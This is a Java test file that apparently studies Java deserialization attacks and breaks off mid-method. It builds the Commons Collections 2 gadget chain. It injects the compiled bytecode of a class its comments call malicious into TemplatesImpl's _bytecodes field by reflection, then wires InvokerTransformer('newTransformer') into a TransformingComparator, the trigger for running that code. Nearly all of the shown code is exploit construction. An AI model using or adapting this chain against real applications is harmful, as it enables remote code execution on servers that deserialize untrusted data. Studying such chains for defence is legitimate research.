Method main

src/test/java/CC/CC2Test.java:30–161

(String[] args)

public class CC2Test {
    public static void main(String[] args) throws Exception {
        //构造恶意类TestTemplatesImpl并转换为字节码
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.getCtClass("CC.TestTemplatesImpl");
        byte[] bytes = ctClass.toBytecode();

        //反射创建TemplatesImpl
        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
        Object TemplatesImpl_instance = constructor.newInstance();

        //将恶意类的字节码设置给_bytecodes属性
        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(TemplatesImpl_instance, new byte[][]{bytes});

        //设置属性_name为恶意类名
        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(TemplatesImpl_instance, "TestTemplatesImpl");

        //构造利用链
        InvokerTransformer transformer = new InvokerTransformer("newTransformer", null,null);
        TransformingComparator transformer_comparator = new TransformingComparator(transformer,null);
        System.out.println(transformer);
        System.out.println(System.getProperty("file.encoding"));

        String[] classlist = {
                "org.apache.commons.collections4.comparators.TransformingComparator",
                "org.apache.commons.collections4.functors.InvokerTransformer"
        };
        Object[] object_list = new Object[classlist.length]; // 声明一个对象数组

        System.out.println("================对象生成=================");
        int object_sort = 0;
        for (String classname: classlist) {
            System.out.println(classname);
            Class<?> target_classname = Class.forName(classname);
            Constructor[] constructor_classname=target_classname.getConstructors();

            Class[] para_list = null;
            int para_len = 0;
            for (Constructor each_constructor:constructor_classname) {
                //获取参数列表
                Class [] paramType=each_constructor.getParameterTypes();
                /*            System.out.println(paramType.length);*/
                if (paramType.length > para_len) {
                    Class[] local_list = new Class[paramType.length];
                    int i = 0;
                    for (Class param : paramType) {
                        if (i < paramType.length) {
                            local_list[i] = param;
                            i++;
                        }
                    }
                    para_len = paramType.length;
                    para_list = local_list;
                }